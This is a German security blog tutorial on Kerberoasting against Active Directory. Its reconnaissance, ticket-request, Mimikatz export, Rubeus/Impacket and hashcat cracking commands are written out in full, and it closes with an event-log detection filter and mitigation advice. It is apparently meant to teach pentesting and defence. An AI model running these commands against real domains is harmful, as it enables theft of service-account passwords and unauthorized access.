Blog

Kerbeoasting wurde zuerst von Tim Medin von Red Siege auf einer Konferenz demonstriert. Bei dem Angriff geht es darum, mithilfe von Kerberos Service Tickets (TGS) die Passwörter von anderen Benutzern im Netzwerk zu erraten. Dies funktioniert, da Service Tickets mit Hilfe der Passwörter der Service-Konten, für die sie ausgestellt werden, verschlüsselt sind. In den meisten Fällen handelt es sich bei den Services-Konten um Computerkonten, deren Passwörter zentral durch das Active Directory verwaltet werden und damit zu lang zum bruteforcen sind. Wenn allerdings aufgrund technischer Anforderungen ein Benutzerkonto für einen Service angelegt wird, so ist aus Erfahrung das Passwort nicht mehr so stark.

Hintergrund

Kerberos Service Tickets werden mithilfe eines Service Principal Names (SPN) angefragt. Ein SPN besteht aus:

SERVICE-TYPE/HOSTNAME
LDAP/DC1.CORP.LAB

In der Regel sind für alle Computer Objekte im Active Directory bereits eine Reihe an Service Principal Names im gleichnamigen Attribut hinterlegt.

Wenn ein Benutzer beispielsweise via RDP auf den CL1 zugreifen möchte, so frage er beim Domaincontroller ein TGS mit folgendem SPN an:

TERMSRV/CL1.<HOSTNAM>

Normal Benutzerobjekte haben in der Regel keine SPNs hinterlegt.

Zu Demozwecken hinterlegen wir dem Benutzer Lisa einen SPN, damit auch ein Kerberos-Ticket für diesen Benutzer angefragt werden können.

setspn -s user/lisa.<hostname> lisa

Als Service-Type kann hier alles Mögliche hinterlegt werden. Mit -d kann der SPN auch wieder entfernt werden.

Mithilfe von PowerShell kann ein Kerberos Ticket für den SPN “user/lisa.” angefragt werden:

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "user/lisa.<hostname>"

Auf Protokollebene wird, wie in der Einführung von Kerberos beschrieben, ein Service Ticket (TGS) für den Benutzer Lisa angefragt.

Um Kerberos Service Tickets anfragen zu können, müssen in der Regel valide Zugangsdaten vorliegen. Das heißt, es sollten entweder valide Zugangsdaten bekannt sein oder eine System-Shell bzw. Shell als Netzwerk-Service sollte gegeben sein.

Die Antwort vom Domain Controller (TGS-REP) besteht aus zwei Teilen.

Das Feld enc-part enthält den für uns also den anfragenden Benutzer verschlüsselte Session-Key, der für die Kommunikation mit dem Service-Konto Lisa verwendet werden soll. Dieser Teil ist für den Angriff irrelevant. Der interessante Teil, um das Passwort von Lisa zu erraten, ist im Feld ticket.

Das Feld ticket besteht zum einen aus dem unverschlüsselte Header und dem verschlüsselten Teil enc-part, der für den Benutzer “Lisa” bestimmt ist. Gemäß der Kerberos-Spezifikation ist er daher mit ihrem Passwort verschlüsselt. Als Nächstes muss der verschlüsselte Teil cipher extrahiert werden. Dieser Teil kann dann für das bruteforcen des Passworts verwendet werden.

Reconnaissance

Aufgrund der Popularität der Technik gibt es sehr viele Tools, die diesen Angriff meist zusammen mit dem Aufspüren anfälliger Benutzer und dem Erzeugen der entsprechenden Daten in einem Aufruf durchführen. Nichtsdestotrotz hier mal einige Möglichkeiten, relevante Benutzer SPNs manuell zu finden.

Windows

ActiveDirectory Powershell Module

Das Module activedirectory, dass standardmäßig mit den RSAT-Tools für die “Directory Services” installiert wird, kann für das Auffinden von anfälligen Benutzern verwendet werden:

Import-module activedirectory
get-aduser -filter {(objectclass -eq 'user')} -property serviceprincipalname | where-Object {$PSItem.ServicePrincipalName -ne $null} | select-object serviceprincipalname,userprincipalname

Alternativ kann auch ein entsprechender LDAP Filter verwendet werden.

Get-ADUser -LDAPFilter "(&(UserPrincipalName=*)(serviceprincipalname=*))"

Powerview

Mittels PowerView lassen sich angreifbare Benutzer auch finden. Für PowerView würde ich immer den Dev-Branch empfehlen.

Get-DomainUser -SPN

PowerShell

Hier ein kleines Basic PowerShell Skript.

$root = [ADSI]"LDAP://dc=<DOMAIN>,dc=<TLD>"
$search = new-Object System.DirectoryServices.DirectorySearcher($root)
$search.Filter = "(&(objectclass=user)(objectcategory=user)(servicePrincipalName=*))"
$search.FindAll()

Wer mehr über ADSI Abfragen lernen möchte, kann hier nachlesen.

Linux

LDAPSEARCH

Das Tool LDAPSERCH kann ebenfalls verwendet werden.

ldapsearch -LLLL -H ldap://192.168.1.5 -D '<Username>' -w "<Password>" -b dc=<DOMAIN>,dc=<TLD> "(&(objectclass=user)(objectcategory=user)(servicePrincipalName=*))" sAMAccountName

Windapsearch

Alternativ kann auch das Tool Windapsearch dafür verwendet werden.

windapsearch -u homer@<DOMAIN> -p "<Password" --dc 192.168.1.5 -m user-spns

Exploiting

Tickets Abfragen

Für das manuellen Abfragen von Kerberos Tickets kann unter Windows entweder die PowerShell oder die CMD verwendet werden.

PowerShell

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "user/lisa.<DOMAIN>"

CMD

klist get user/lisa.<DOMAIN>

Ticket extrahieren

Zum Extrahieren der Tickets kann u.a. Mimikatz verwendet werden. Administratorrechte sind dafür übrigens nicht notwendig.

.\mimikatz.exe "kerberos::list /export" "exit"

Im Anschluss kann das Ticket aus dem .kirbi File extrahiert werden. Dazu gibt es verschiedene Möglichkeiten. Die bekanntesten zwei Tools sind wohl tgscrack und kerberoast. Beide Tools bieten in ihren Repositorys entsprechende Python-Skripte an.

Passwort Bruteforce

Last but not least kann beispielsweise das GO Projekt aus tgscrack verwendet werden, um das Passwort zu bruteforcen.

All-In-One

All in Projekte gibt für Kerberoasting eine Menge, daher werde ich nicht auf alle eingehen.

Windows

PowerView

Powerview ist wohl eines der bekanntesten AD-Recon Frameworks da draußen. Es beinhaltet u.a. einen Befehl um entsprechende Accounts zu finden, die Tickets abzufragen und direkt darzustellen.

Invoke-Kerberoast

Rubeus

Rubeus ist ebenfalls dazu in der Lage entsprechende Tickets abzufragen.

Rubeus.exe kerberoast

RiskySPN

Die Firma CyberArk hat auf ihrem Github-Account ebenfalls ein PowerShell Module zum Auffinden und extrahieren von Service Tickets. Scheint ein wenig Buggy zu sein, aber funktioniert.

Find-PotentiallyCrackableAccounts -Stealth -GetSPNs | Get-TGSCipher

Auto-Kerberoast

Erweiterung des Repositiorys von nidem/kerberoast, dem Erfinder der Technik.

Linux

Kerberoast

Ein Python tool für Kerberoast/AS-REP Roasting und mehr.

kerberoast spnroast 'kerberos+pw://<DOMAIN>\homer:<Password>@192.168.1.5'  -r <DOMAIN> -u lisa

Impacket

Auch impacket bietet eine entsprechende Funktionalität an.

impacket ./GetUserSPNs.py '<DOMAIN>/homer:<Passowrd>' -dc-ip 192.168.1.5 -request

Cracking

Wie die Tickets gecrackt werden können, hängt in der Regel davon ab, in welchem Format die Tickets von den entsprechenden Tools ausgegeben werden. Daher kann es sein, dass bei manchen Tools ein weiterer Schritt notwendig ist.

Manche oben genannte Repositorys bringen eigene Skripte zum Cracken der Passwörter mit. Diese sind allerdings der Erfahrung nach nicht sehr schnell. Eigentlich bieten sich nur John oder Hashcat zum Berechnen der Passwörter an. Die meisten der genannten Tools bieten auch entsprechende Parameter an, um die Tickets in der benötigten Form auszugeben.

John

Rubeus, PowerView und Co können die Ausgabe meist im richtigen Format erzeugen.

Wenn die Tickets mittels Mimikatz exportiert werden, bietet beispielsweise das Repository von John ein entsprechendes Skript zur Konvertierung an. Andere Skripte haben bei meinen aktuellen Tests leider nicht funktioniert.

Hashcat

Hashcat ist ein weiteres Tool zum Bruteforcen von Passwörtern. Zahlreiche der oben genannten Tools bieten die Möglichkeit an, dass passende Ausgabeformat direkt anzugeben. Beispielsweise bietet Impacket das Format standardmäßig an.

Wenn die Tickets mittels Mimikatz exportiert werden, dann bietet beispielsweise dieses Repository ein entsprechendes Skript zur Konvertierung an.

Um die Passwörter zu bruteforcen mittels Hashcat, kann folgender Befehl verwendet werden:

hashcat.exe -m 13100 --force <TGS> <Passwort Liste>

Das Passwort steht immer hinter dem zu prüfenden Hash! (Vergesse ich selbst oft und suche es dann in der Ausgabe)

Fallstrick: Supported-Encryption Types

Das Active Directory bietet die Möglichkeit an, für Benutzer und Computer Objekte das Verschlüsselungsverfahren für Service Tickets in den Attributen des Objekts zu setzen. Das kann in folgender Maske durchgeführt werden.

Der Wert in der Maske wird im Attribut msDS-SupportedEncryptionTypes auf dem entsprechenden Benutzer Objekt gespeichert.

Wenn der Wert für Benutzer Objekte noch nie gesetzt wurde oder auf null gesetzt ist, so verwendet der Domain Controller für Service Tickets aus Kompatibilitätsgründe automatisch die RC4 Verschlüsselung. Was welcher Wert in dem Attribut bedeutet, kann hier nachgelesen werden. Für Computer Objekte ist es ein wenig anders. Da bekommen alle Computer der Wert 28 (RC4, AES 128, AES 256) standardmäßig gesetzt.

Aber was tun, wenn das Attribut für ein Benutzer Objekt die Verschlüsselung höher setzt?

Hier ist ein wenig Vorsicht geboten. Die gute Nachricht ist, ich hatte das Problem in der Praxis noch nie. Allerdings haben sich die Tools, die ich für diesen Eintrag noch mal getestet habe, als ein wenig unzuverlässig erwiesen. So scheinen die kirbi2X.py mit anderen Verschlüsselungsverfahren außer RC4 nicht zu Recht zu kommen. Daher ist es ratsam, direkt den Export nach Hashcat oder John durchzuführen, wenn dieser Angeboten wird. Weiterhin ist die Ausgabe bei Auto-Kerberoast und Powerview Falsch. Die Tools haben in meinen Tests die falsche Verschlüsselung ausgegeben. Auch bei John hatte ich beim Testen Probleme. So konnte John die Hashes einlesen, allerdings konnte das richtige Passwort nicht ermittelt werden.

Am Zuverlässigsten hat sich hier die Kombination aus Rubeus und Hashcat erwiesen.

Je nachdem welcher Wert - 17, 18 oder 23 - nach dem zweiten Dollar Zeichen steht, muss für Hashcat ein anderer Modus verwendet werden:

Wert	Verfahren	Modus
17	AES128	19600
18	AES-256	19700
23	RC4	13100

Detection & Mitigation

Analog zu AS-REP Roasting kann auch dieser Angriff nicht wirkungsvoll verhindert werden. Hier können ebenfalls nur Methoden zu Erkennung eines Angriffs implementiert werden. Weiterhin kann das Erraten von Passwörtern mithilfe von langen Passwörtern sowie das Setzen der zu verwendeten Verschlüsselung erschwert werden. Zusätzlich kann über den Einsatz von Honey User nachgedacht werden, deren Kerberos Tickets im normalen Betrieb nie angefragt werden.

Kerberos TGS Requests werden im Eventlog mit der ID 4769 aufgezeichnet. Mithilfe von folgendem Filter können TGS Anfragen mit RC4 Verschlüsselung im Eventlog gefunden werden:

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
    *[System[(Level=4 or Level=0) and (EventID=4769)]]
    and
    *[EventData[Data[@Name="TicketEncryptionType"] and Data="0x17"]]
</Select>
  </Query>
</QueryList>

Wenn Sie mehrere dieser Konten haben, kann im Siem auch mit einem Schwellwert gearbeitet werden. Der Schwellwert sollte so konfiguriert werden, dass Alarm geschlagen wird, wenn ein Benutzer innerhalb kurzer Zeit mehrere dieser Tickets anfragt.

Wie immer gilt falls ihr Fragen, Anmerkungen oder Verbesserungsvorschläge zu dem Artikel habt, schreibt eine Mail an info@hackmich.net.

Quellen

• https://pentestlab.blog/2018/06/12/kerberoast/
• https://www.redsiege.com/wp-content/uploads/2020/08/Kerberoastv4.pdf
• https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731241(v=ws.11)
• https://stealthbits.com/blog/20170501discovering-service-accounts-without-using-privileges/
• https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/decrypting-the-selection-of-supported-kerberos-encryption-types/ba-p/1628797
• https://docs.microsoft.com/de-de/archive/blogs/openspecification/encryption-type-selection-in-kerberos-exchanges
• https://blog.geoda-security.com/2018/10/post-exploitation-kerberoasting.html
• https://hashcat.net/wiki/doku.php?id=example_hashes